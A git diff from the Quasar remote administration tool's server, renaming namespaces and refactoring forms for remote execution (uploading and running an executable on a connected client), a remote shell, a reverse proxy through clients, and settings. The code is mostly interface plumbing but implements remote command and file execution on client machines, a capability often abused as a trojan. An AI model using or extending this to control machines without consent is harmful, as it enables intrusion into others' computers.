{ + handler.FileHandler.BeginUploadFile(txtPath.Text); + } + } + } + + private void btnBrowse_Click(object sender, EventArgs e) + { + using (OpenFileDialog ofd = new OpenFileDialog()) + { + ofd.Multiselect = false; + ofd.Filter = "Executable (*.exe)|*.exe"; + if (ofd.ShowDialog() == DialogResult.OK) + { + txtPath.Text = Path.Combine(ofd.InitialDirectory, ofd.FileName); + } + } + } + + private void radioLocalFile_CheckedChanged(object sender, EventArgs e) + { + groupLocalFile.Enabled = radioLocalFile.Checked; + groupURL.Enabled = !radioLocalFile.Checked; + } + + private void radioURL_CheckedChanged(object sender, EventArgs e) + { + groupLocalFile.Enabled = !radioURL.Checked; + groupURL.Enabled = radioURL.Checked; + } + + /// + /// Called whenever a file transfer gets updated. + /// + /// The message processor which raised the event. + /// The updated file transfer. + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler) lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) + { + lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = transfer.Status; + + if (transfer.Status == "Completed") + { + handler.TaskHandler.StartProcess(transfer.RemotePath, _isUpdate); + } + return; + } + } + } + + // TODO: update documentation + /// + /// Sets the status of the file manager. + /// + /// The message handler which raised the event. + /// The new status. + private void SetStatusMessage(object sender, string message) + { + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) + { + lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = message; + return; + } + } + } + + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) + { + if (action != ProcessAction.Start) return; + + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) + { + lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = result ? "Successfully started process" : "Failed to start process"; + return; + } + } + } + } +} diff --git a/Server/Forms/FrmRemoteShell.resx b/Quasar.Server/Forms/FrmRemoteExecution.resx similarity index 100% rename from Server/Forms/FrmRemoteShell.resx rename to Quasar.Server/Forms/FrmRemoteExecution.resx diff --git a/Server/Forms/FrmRemoteShell.Designer.cs b/Quasar.Server/Forms/FrmRemoteShell.Designer.cs similarity index 99% rename from Server/Forms/FrmRemoteShell.Designer.cs rename to Quasar.Server/Forms/FrmRemoteShell.Designer.cs index e00319653..ae2f3ac21 100644 --- a/Server/Forms/FrmRemoteShell.Designer.cs +++ b/Quasar.Server/Forms/FrmRemoteShell.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmRemoteShell { @@ -84,8 +84,8 @@ private void InitializeComponent() // // FrmRemoteShell // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(637, 323); this.Controls.Add(this.tableLayoutPanel); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); diff --git a/Quasar.Server/Forms/FrmRemoteShell.cs b/Quasar.Server/Forms/FrmRemoteShell.cs new file mode 100644 index 000000000..7ca258535 --- /dev/null +++ b/Quasar.Server/Forms/FrmRemoteShell.cs @@ -0,0 +1,186 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteShell : Form + { + /// + /// The client which can be used for the remote shell. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + public readonly RemoteShellHandler RemoteShellHandler; + + /// + /// Holds the opened remote shell form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new remote shell form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the remote shell form. + /// + /// Returns a new remote shell form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRemoteShell CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRemoteShell f = new FrmRemoteShell(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote shell form. + public FrmRemoteShell(Client client) + { + _connectClient = client; + RemoteShellHandler = new RemoteShellHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + + txtConsoleOutput.AppendText(">> Type 'exit' to close this session" + Environment.NewLine); + } + + /// + /// Registers the remote shell message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + RemoteShellHandler.ProgressChanged += CommandOutput; + RemoteShellHandler.CommandError += CommandError; + MessageHandler.Register(RemoteShellHandler); + } + + /// + /// Unregisters the remote shell message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(RemoteShellHandler); + RemoteShellHandler.ProgressChanged -= CommandOutput; + RemoteShellHandler.CommandError -= CommandError; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever the remote shell writes to stdout. + /// + /// The message processor which raised the event. + /// The output to write. + private void CommandOutput(object sender, string output) + { + txtConsoleOutput.SelectionColor = Color.WhiteSmoke; + txtConsoleOutput.AppendText(output); + } + + /// + /// Called whenever the remote shell writes to stderr. + /// + /// The message processor which raised the event. + /// The error output to write. + private void CommandError(object sender, string output) + { + txtConsoleOutput.SelectionColor = Color.Red; + txtConsoleOutput.AppendText(output); + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmRemoteShell_Load(object sender, EventArgs e) + { + this.DoubleBuffered = true; + this.Text = WindowHelper.GetWindowTitle("Remote Shell", _connectClient); + } + + private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + if (_connectClient.Connected) + RemoteShellHandler.SendCommand("exit"); + } + + private void txtConsoleOutput_TextChanged(object sender, EventArgs e) + { + NativeMethodsHelper.ScrollToBottom(txtConsoleOutput.Handle); + } + + private void txtConsoleInput_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(txtConsoleInput.Text.Trim())) + { + string input = txtConsoleInput.Text.TrimStart(' ', ' ').TrimEnd(' ', ' '); + txtConsoleInput.Text = string.Empty; + + // Split based on the space key. + string[] splitSpaceInput = input.Split(' '); + // Split based on the null key. + string[] splitNullInput = input.Split(' '); + + // We have an exit command. + if (input == "exit" || + ((splitSpaceInput.Length > 0) && splitSpaceInput[0] == "exit") || + ((splitNullInput.Length > 0) && splitNullInput[0] == "exit")) + { + this.Close(); + } + else + { + switch (input) + { + case "cls": + txtConsoleOutput.Text = string.Empty; + break; + default: + RemoteShellHandler.SendCommand(input); + break; + } + } + + e.Handled = true; + e.SuppressKeyPress = true; + } + } + + private void txtConsoleOutput_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar != (char) 2) + { + txtConsoleInput.Text += e.KeyChar.ToString(); + txtConsoleInput.Focus(); + txtConsoleInput.SelectionStart = txtConsoleOutput.TextLength; + txtConsoleInput.ScrollToCaret(); + } + } + } +} \ No newline at end of file diff --git a/Server/Forms/FrmSettings.resx b/Quasar.Server/Forms/FrmRemoteShell.resx similarity index 100% rename from Server/Forms/FrmSettings.resx rename to Quasar.Server/Forms/FrmRemoteShell.resx diff --git a/Server/Forms/FrmReverseProxy.Designer.cs b/Quasar.Server/Forms/FrmReverseProxy.Designer.cs similarity index 98% rename from Server/Forms/FrmReverseProxy.Designer.cs rename to Quasar.Server/Forms/FrmReverseProxy.Designer.cs index 94a52c8b3..bcde0caf2 100644 --- a/Server/Forms/FrmReverseProxy.Designer.cs +++ b/Quasar.Server/Forms/FrmReverseProxy.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmReverseProxy { @@ -43,7 +43,7 @@ private void InitializeComponent() this.lblProxyInfo = new System.Windows.Forms.Label(); this.label1 = new System.Windows.Forms.Label(); this.lblLoadBalance = new System.Windows.Forms.Label(); - this.lstConnections = new xServer.Controls.AeroListView(); + this.lstConnections = new AeroListView(); this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -235,8 +235,8 @@ private void InitializeComponent() // // FrmReverseProxy // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(777, 402); this.Controls.Add(this.lblLoadBalance); this.Controls.Add(this.label1); diff --git a/Server/Forms/FrmReverseProxy.cs b/Quasar.Server/Forms/FrmReverseProxy.cs similarity index 50% rename from Server/Forms/FrmReverseProxy.cs rename to Quasar.Server/Forms/FrmReverseProxy.cs index 786ffaa8a..bebf29266 100644 --- a/Server/Forms/FrmReverseProxy.cs +++ b/Quasar.Server/Forms/FrmReverseProxy.cs @@ -1,32 +1,79 @@ -using System; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.ReverseProxy; +using System; using System.Globalization; using System.Net.Sockets; using System.Windows.Forms; -using xServer.Core.Data; -using xServer.Core.ReverseProxy; -using xServer.Core.Helper; -using xServer.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmReverseProxy : Form { + /// + /// The clients which can be used for the reverse proxy. + /// private readonly Client[] _clients; - private ReverseProxyServer SocksServer { get; set; } + + /// + /// The message handler for handling the communication with the clients. + /// + private readonly ReverseProxyHandler _reverseProxyHandler; + + /// + /// The open reverse proxy connections. + /// private ReverseProxyClient[] _openConnections; - private Timer _refreshTimer; + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The clients used for the reverse proxy form. public FrmReverseProxy(Client[] clients) { this._clients = clients; + this._reverseProxyHandler = new ReverseProxyHandler(clients); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the reverse proxy message handler for client communication. + /// + private void RegisterMessageHandler() + { + //_connectClient.ClientState += ClientDisconnected; + _reverseProxyHandler.ProgressChanged += ConnectionChanged; + MessageHandler.Register(_reverseProxyHandler); + } + + /// + /// Unregisters the reverse proxy message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_reverseProxyHandler); + _reverseProxyHandler.ProgressChanged -= ConnectionChanged; + //_connectClient.ClientState -= ClientDisconnected; + } - foreach (Client c in clients) + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + /// TODO: Handle disconnected clients + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) { - if (c == null || c.Value == null) continue; - c.Value.FrmProxy = this; + this.Invoke((MethodInvoker)this.Close); } - - InitializeComponent(); } private void FrmReverseProxy_Load(object sender, EventArgs e) @@ -44,6 +91,24 @@ private void FrmReverseProxy_Load(object sender, EventArgs e) nudServerPort.Value = Settings.ReverseProxyPort; } + private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e) + { + Settings.ReverseProxyPort = GetPortSafe(); + UnregisterMessageHandler(); + _reverseProxyHandler.Dispose(); + } + + private void ConnectionChanged(object sender, ReverseProxyClient[] proxyClients) + { + lock (_reverseProxyHandler) + { + lstConnections.BeginUpdate(); + _openConnections = proxyClients; + lstConnections.VirtualListSize = _openConnections.Length; + lstConnections.EndUpdate(); + } + } + private void btnStart_Click(object sender, EventArgs e) { try @@ -57,16 +122,8 @@ private void btnStart_Click(object sender, EventArgs e) return; } - SocksServer = new ReverseProxyServer(); - SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; - SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; - SocksServer.StartServer(_clients, "0.0.0.0", port); - ToggleButtons(true); - - _refreshTimer = new Timer(); - _refreshTimer.Tick += RefreshTimer_Tick; - _refreshTimer.Interval = 100; - _refreshTimer.Start(); + _reverseProxyHandler.StartReverseProxyServer(port); + ToggleConfigurationButtons(true); } catch (SocketException ex) { @@ -76,88 +133,41 @@ private void btnStart_Click(object sender, EventArgs e) } else { - MessageBox.Show( - string.Format( - "An unexpected socket error occurred: {0}\n\nError Code: {1}\n\nPlease report this as fast as possible here:\n{2}/issues", - ex.Message, ex.ErrorCode, Settings.RepositoryURL), "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + MessageBox.Show($"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}", + "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } - btnStop_Click(sender, null); } catch (Exception ex) { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\n{1}/issues", - ex.Message, Settings.RepositoryURL), "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); - btnStop_Click(sender, null); + MessageBox.Show($"An unexpected error occurred: {ex.Message}", "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } - void RefreshTimer_Tick(object sender, EventArgs e) - { - try - { - lock (SocksServer) - { - this._openConnections = SocksServer.OpenConnections; - lstConnections.VirtualListSize = this._openConnections.Length; - lstConnections.Refresh(); - } - } - catch { } - } - + /// + /// Safely gets the value from the and parses it as . + /// + /// The server port parsed as . Returns 0 on error. private ushort GetPortSafe() { var portValue = nudServerPort.Value.ToString(CultureInfo.InvariantCulture); - ushort port; - return (!ushort.TryParse(portValue, out port)) ? (ushort)0 : port; - } - - void socksServer_onUpdateConnection(ReverseProxyClient proxyClient) - { - - } - - void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) - { - + return (!ushort.TryParse(portValue, out ushort port)) ? (ushort)0 : port; } - private void ToggleButtons(bool t) + /// + /// Toggles the activatability of configuration controls. + /// + /// When set to true the configuration controls get enabled, otherwise they get disabled. + private void ToggleConfigurationButtons(bool started) { - btnStart.Enabled = !t; - nudServerPort.Enabled = !t; - btnStop.Enabled = t; + btnStart.Enabled = !started; + nudServerPort.Enabled = !started; + btnStop.Enabled = started; } private void btnStop_Click(object sender, EventArgs e) { - if (_refreshTimer != null) - _refreshTimer.Stop(); - ToggleButtons(false); - if (SocksServer != null) - SocksServer.Stop(); - - try - { - SocksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished; - SocksServer.OnUpdateConnection -= socksServer_onUpdateConnection; - } - catch { } - } - - private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e) - { - Settings.ReverseProxyPort = GetPortSafe(); - //Stop the proxy server if still active - btnStop_Click(sender, null); - - for (int i = 0; i < _clients.Length; i++) - { - if (_clients[i] != null && _clients[i].Value != null) - _clients[i].Value.FrmProxy = null; - } + ToggleConfigurationButtons(false); + _reverseProxyHandler.StopReverseProxyServer(); } private void nudServerPort_ValueChanged(object sender, EventArgs e) @@ -167,7 +177,7 @@ private void nudServerPort_ValueChanged(object sender, EventArgs e) private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e) { - lock (SocksServer) + lock (_reverseProxyHandler) { if (e.ItemIndex < _openConnections.Length) { @@ -179,8 +189,8 @@ private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualIte connection.Client.Value.Country, (connection.HostName.Length > 0 && connection.HostName != connection.TargetServer) ? string.Format("{0} ({1})", connection.HostName, connection.TargetServer) : connection.TargetServer, connection.TargetPort.ToString(), - FileHelper.GetDataSize(connection.LengthReceived), - FileHelper.GetDataSize(connection.LengthSent), + StringHelper.GetHumanReadableFileSize(connection.LengthReceived), + StringHelper.GetHumanReadableFileSize(connection.LengthSent), connection.Type.ToString() }) { Tag = connection }; } @@ -189,11 +199,11 @@ private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualIte private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) { - lock (SocksServer) + lock (_reverseProxyHandler) { if (lstConnections.SelectedIndices.Count > 0) { - //copy the list, it could happen the suddenly the items de-select + //copy the list, it could happen that suddenly the items de-select int[] items = new int[lstConnections.SelectedIndices.Count]; lstConnections.SelectedIndices.CopyTo(items, 0); @@ -202,10 +212,7 @@ private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) if (index < _openConnections.Length) { ReverseProxyClient connection = _openConnections[index]; - if (connection != null) - { - connection.Disconnect(); - } + connection?.Disconnect(); } } } diff --git a/Server/Forms/FrmStartupManager.resx b/Quasar.Server/Forms/FrmReverseProxy.resx similarity index 100% rename from Server/Forms/FrmStartupManager.resx rename to Quasar.Server/Forms/FrmReverseProxy.resx diff --git a/Server/Forms/FrmSettings.Designer.cs b/Quasar.Server/Forms/FrmSettings.Designer.cs similarity index 83% rename from Server/Forms/FrmSettings.Designer.cs rename to Quasar.Server/Forms/FrmSettings.Designer.cs index 85a495d39..abfae1a59 100644 --- a/Server/Forms/FrmSettings.Designer.cs +++ b/Quasar.Server/Forms/FrmSettings.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmSettings { @@ -36,8 +36,6 @@ private void InitializeComponent() this.chkPopup = new System.Windows.Forms.CheckBox(); this.btnListen = new System.Windows.Forms.Button(); this.btnCancel = new System.Windows.Forms.Button(); - this.lblPassword = new System.Windows.Forms.Label(); - this.txtPassword = new System.Windows.Forms.TextBox(); this.chkUseUpnp = new System.Windows.Forms.CheckBox(); this.chkShowTooltip = new System.Windows.Forms.CheckBox(); this.chkNoIPIntegration = new System.Windows.Forms.CheckBox(); @@ -48,15 +46,16 @@ private void InitializeComponent() this.txtNoIPUser = new System.Windows.Forms.TextBox(); this.txtNoIPHost = new System.Windows.Forms.TextBox(); this.chkShowPassword = new System.Windows.Forms.CheckBox(); + this.chkIPv6Support = new System.Windows.Forms.CheckBox(); ((System.ComponentModel.ISupportInitialize)(this.ncPort)).BeginInit(); this.SuspendLayout(); // // btnSave // - this.btnSave.Location = new System.Drawing.Point(227, 273); + this.btnSave.Location = new System.Drawing.Point(227, 298); this.btnSave.Name = "btnSave"; this.btnSave.Size = new System.Drawing.Size(75, 23); - this.btnSave.TabIndex = 18; + this.btnSave.TabIndex = 19; this.btnSave.Text = "&Save"; this.btnSave.UseVisualStyleBackColor = true; this.btnSave.Click += new System.EventHandler(this.btnSave_Click); @@ -95,20 +94,20 @@ private void InitializeComponent() // chkAutoListen // this.chkAutoListen.AutoSize = true; - this.chkAutoListen.Location = new System.Drawing.Point(15, 63); + this.chkAutoListen.Location = new System.Drawing.Point(12, 68); this.chkAutoListen.Name = "chkAutoListen"; this.chkAutoListen.Size = new System.Drawing.Size(222, 17); - this.chkAutoListen.TabIndex = 5; + this.chkAutoListen.TabIndex = 6; this.chkAutoListen.Text = "Listen for new connections on startup"; this.chkAutoListen.UseVisualStyleBackColor = true; // // chkPopup // this.chkPopup.AutoSize = true; - this.chkPopup.Location = new System.Drawing.Point(15, 86); + this.chkPopup.Location = new System.Drawing.Point(12, 91); this.chkPopup.Name = "chkPopup"; this.chkPopup.Size = new System.Drawing.Size(259, 17); - this.chkPopup.TabIndex = 6; + this.chkPopup.TabIndex = 7; this.chkPopup.Text = "Show popup notification on new connection"; this.chkPopup.UseVisualStyleBackColor = true; // @@ -124,58 +123,42 @@ private void InitializeComponent() // // btnCancel // - this.btnCancel.Location = new System.Drawing.Point(146, 273); + this.btnCancel.Location = new System.Drawing.Point(146, 298); this.btnCancel.Name = "btnCancel"; this.btnCancel.Size = new System.Drawing.Size(75, 23); - this.btnCancel.TabIndex = 17; + this.btnCancel.TabIndex = 18; this.btnCancel.Text = "&Cancel"; this.btnCancel.UseVisualStyleBackColor = true; this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); // - // lblPassword - // - this.lblPassword.AutoSize = true; - this.lblPassword.Location = new System.Drawing.Point(12, 38); - this.lblPassword.Name = "lblPassword"; - this.lblPassword.Size = new System.Drawing.Size(59, 13); - this.lblPassword.TabIndex = 3; - this.lblPassword.Text = "Password:"; - // - // txtPassword - // - this.txtPassword.Location = new System.Drawing.Point(111, 35); - this.txtPassword.Name = "txtPassword"; - this.txtPassword.Size = new System.Drawing.Size(158, 22); - this.txtPassword.TabIndex = 4; - // // chkUseUpnp // this.chkUseUpnp.AutoSize = true; - this.chkUseUpnp.Location = new System.Drawing.Point(15, 109); + this.chkUseUpnp.Location = new System.Drawing.Point(12, 114); this.chkUseUpnp.Name = "chkUseUpnp"; - this.chkUseUpnp.Size = new System.Drawing.Size(230, 17); - this.chkUseUpnp.TabIndex = 7; - this.chkUseUpnp.Text = "Try to automatically port forward (UPnP)"; + this.chkUseUpnp.Size = new System.Drawing.Size(249, 17); + this.chkUseUpnp.TabIndex = 8; + this.chkUseUpnp.Text = "Try to automatically forward the port (UPnP)"; this.chkUseUpnp.UseVisualStyleBackColor = true; // // chkShowTooltip // this.chkShowTooltip.AutoSize = true; - this.chkShowTooltip.Location = new System.Drawing.Point(15, 132); + this.chkShowTooltip.Location = new System.Drawing.Point(12, 137); this.chkShowTooltip.Name = "chkShowTooltip"; this.chkShowTooltip.Size = new System.Drawing.Size(268, 17); - this.chkShowTooltip.TabIndex = 8; + this.chkShowTooltip.TabIndex = 9; this.chkShowTooltip.Text = "Show tooltip on client with system information"; this.chkShowTooltip.UseVisualStyleBackColor = true; // // chkNoIPIntegration // this.chkNoIPIntegration.AutoSize = true; - this.chkNoIPIntegration.Location = new System.Drawing.Point(15, 155); + this.chkNoIPIntegration.Location = new System.Drawing.Point(12, 177); this.chkNoIPIntegration.Name = "chkNoIPIntegration"; - this.chkNoIPIntegration.Size = new System.Drawing.Size(192, 17); - this.chkNoIPIntegration.TabIndex = 9; - this.chkNoIPIntegration.Text = "Activate No-Ip.com DNS Updater"; + this.chkNoIPIntegration.Size = new System.Drawing.Size(187, 17); + this.chkNoIPIntegration.TabIndex = 10; + this.chkNoIPIntegration.Text = "Enable No-Ip.com DNS Updater"; this.chkNoIPIntegration.UseVisualStyleBackColor = true; this.chkNoIPIntegration.CheckedChanged += new System.EventHandler(this.chkNoIPIntegration_CheckedChanged); // @@ -183,73 +166,84 @@ private void InitializeComponent() // this.lblHost.AutoSize = true; this.lblHost.Enabled = false; - this.lblHost.Location = new System.Drawing.Point(33, 181); + this.lblHost.Location = new System.Drawing.Point(30, 203); this.lblHost.Name = "lblHost"; this.lblHost.Size = new System.Drawing.Size(34, 13); - this.lblHost.TabIndex = 10; + this.lblHost.TabIndex = 11; this.lblHost.Text = "Host:"; // // lblPass // this.lblPass.AutoSize = true; this.lblPass.Enabled = false; - this.lblPass.Location = new System.Drawing.Point(170, 209); + this.lblPass.Location = new System.Drawing.Point(167, 231); this.lblPass.Name = "lblPass"; this.lblPass.Size = new System.Drawing.Size(32, 13); - this.lblPass.TabIndex = 14; + this.lblPass.TabIndex = 15; this.lblPass.Text = "Pass:"; // // lblUser // this.lblUser.AutoSize = true; this.lblUser.Enabled = false; - this.lblUser.Location = new System.Drawing.Point(33, 209); + this.lblUser.Location = new System.Drawing.Point(30, 231); this.lblUser.Name = "lblUser"; this.lblUser.Size = new System.Drawing.Size(32, 13); - this.lblUser.TabIndex = 12; + this.lblUser.TabIndex = 13; this.lblUser.Text = "Mail:"; // // txtNoIPPass // this.txtNoIPPass.Enabled = false; - this.txtNoIPPass.Location = new System.Drawing.Point(202, 206); + this.txtNoIPPass.Location = new System.Drawing.Point(199, 228); this.txtNoIPPass.Name = "txtNoIPPass"; this.txtNoIPPass.Size = new System.Drawing.Size(100, 22); - this.txtNoIPPass.TabIndex = 15; + this.txtNoIPPass.TabIndex = 16; // // txtNoIPUser // this.txtNoIPUser.Enabled = false; - this.txtNoIPUser.Location = new System.Drawing.Point(73, 206); + this.txtNoIPUser.Location = new System.Drawing.Point(70, 228); this.txtNoIPUser.Name = "txtNoIPUser"; this.txtNoIPUser.Size = new System.Drawing.Size(91, 22); - this.txtNoIPUser.TabIndex = 13; + this.txtNoIPUser.TabIndex = 14; // // txtNoIPHost // this.txtNoIPHost.Enabled = false; - this.txtNoIPHost.Location = new System.Drawing.Point(73, 178); + this.txtNoIPHost.Location = new System.Drawing.Point(70, 200); this.txtNoIPHost.Name = "txtNoIPHost"; this.txtNoIPHost.Size = new System.Drawing.Size(229, 22); - this.txtNoIPHost.TabIndex = 11; + this.txtNoIPHost.TabIndex = 12; // // chkShowPassword // this.chkShowPassword.AutoSize = true; this.chkShowPassword.Enabled = false; - this.chkShowPassword.Location = new System.Drawing.Point(195, 234); + this.chkShowPassword.Location = new System.Drawing.Point(192, 256); this.chkShowPassword.Name = "chkShowPassword"; this.chkShowPassword.Size = new System.Drawing.Size(107, 17); - this.chkShowPassword.TabIndex = 16; + this.chkShowPassword.TabIndex = 17; this.chkShowPassword.Text = "Show Password"; this.chkShowPassword.UseVisualStyleBackColor = true; this.chkShowPassword.CheckedChanged += new System.EventHandler(this.chkShowPassword_CheckedChanged); // + // chkIPv6Support + // + this.chkIPv6Support.AutoSize = true; + this.chkIPv6Support.Location = new System.Drawing.Point(12, 45); + this.chkIPv6Support.Name = "chkIPv6Support"; + this.chkIPv6Support.Size = new System.Drawing.Size(128, 17); + this.chkIPv6Support.TabIndex = 5; + this.chkIPv6Support.Text = "Enable IPv6 support"; + this.chkIPv6Support.UseVisualStyleBackColor = true; + // // FrmSettings // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(314, 308); + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(314, 333); + this.Controls.Add(this.chkIPv6Support); this.Controls.Add(this.chkShowPassword); this.Controls.Add(this.txtNoIPHost); this.Controls.Add(this.txtNoIPUser); @@ -260,8 +254,6 @@ private void InitializeComponent() this.Controls.Add(this.chkNoIPIntegration); this.Controls.Add(this.chkShowTooltip); this.Controls.Add(this.chkUseUpnp); - this.Controls.Add(this.txtPassword); - this.Controls.Add(this.lblPassword); this.Controls.Add(this.btnCancel); this.Controls.Add(this.btnListen); this.Controls.Add(this.chkPopup); @@ -293,8 +285,6 @@ private void InitializeComponent() private System.Windows.Forms.CheckBox chkPopup; private System.Windows.Forms.Button btnListen; private System.Windows.Forms.Button btnCancel; - private System.Windows.Forms.Label lblPassword; - private System.Windows.Forms.TextBox txtPassword; private System.Windows.Forms.CheckBox chkUseUpnp; private System.Windows.Forms.CheckBox chkShowTooltip; private System.Windows.Forms.CheckBox chkNoIPIntegration; @@ -305,5 +295,6 @@ private void InitializeComponent() private System.Windows.Forms.TextBox txtNoIPUser; private System.Windows.Forms.TextBox txtNoIPHost; private System.Windows.Forms.CheckBox chkShowPassword; + private System.Windows.Forms.CheckBox chkIPv6Support; } } \ No newline at end of file diff --git a/Server/Forms/FrmSettings.cs b/Quasar.Server/Forms/FrmSettings.cs similarity index 60% rename from Server/Forms/FrmSettings.cs rename to Quasar.Server/Forms/FrmSettings.cs index 3d58780f8..499724836 100644 --- a/Server/Forms/FrmSettings.cs +++ b/Quasar.Server/Forms/FrmSettings.cs @@ -1,13 +1,12 @@ -using System; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; using System.Globalization; +using System.Net.Sockets; using System.Windows.Forms; -using xServer.Core.Cryptography; -using xServer.Core.Data; -using xServer.Core.Networking; -using xServer.Core.Networking.Utilities; -using xServer.Core.Utilities; +using Quasar.Server.Models; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmSettings : Form { @@ -19,12 +18,7 @@ public FrmSettings(QuasarServer listenServer) InitializeComponent(); - if (listenServer.Listening) - { - btnListen.Text = "Stop listening"; - ncPort.Enabled = false; - txtPassword.Enabled = false; - } + ToggleListenerSettings(!listenServer.Listening); ShowPassword(false); } @@ -32,9 +26,9 @@ public FrmSettings(QuasarServer listenServer) private void FrmSettings_Load(object sender, EventArgs e) { ncPort.Value = Settings.ListenPort; + chkIPv6Support.Checked = Settings.IPv6Support; chkAutoListen.Checked = Settings.AutoListen; chkPopup.Checked = Settings.ShowPopup; - txtPassword.Text = Settings.Password; chkUseUpnp.Checked = Settings.UseUPnP; chkShowTooltip.Checked = Settings.ShowToolTip; chkNoIPIntegration.Checked = Settings.EnableNoIPUpdater; @@ -53,7 +47,6 @@ private ushort GetPortSafe() private void btnListen_Click(object sender, EventArgs e) { ushort port = GetPortSafe(); - string password = txtPassword.Text; if (port == 0) { @@ -62,68 +55,42 @@ private void btnListen_Click(object sender, EventArgs e) return; 